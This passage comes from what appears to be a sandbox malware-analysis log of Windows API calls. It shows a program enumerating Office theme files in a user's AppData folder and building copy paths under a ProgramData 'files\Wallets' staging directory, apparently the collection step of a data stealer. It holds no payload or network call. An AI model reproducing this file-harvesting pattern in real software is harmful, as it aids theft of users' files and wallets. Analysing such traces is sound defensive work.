Themes\\1033\\TM04033919[[fn=Circuit]].thmx" [0052.325] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.325] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" [0052.325] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.325] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" [0052.326] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.326] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" [0052.326] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" [0052.326] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.326] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" [0052.326] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" [0052.326] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.326] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" [0052.326] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" [0052.326] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.326] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" [0052.326] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" [0052.326] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.326] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" [0052.326] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.326] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" [0052.326] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.326] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" [0052.327] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" [0052.327] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.327] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" [0052.327] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" [0052.327] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.327] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0052.327] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0052.327] lstrcatW (in: 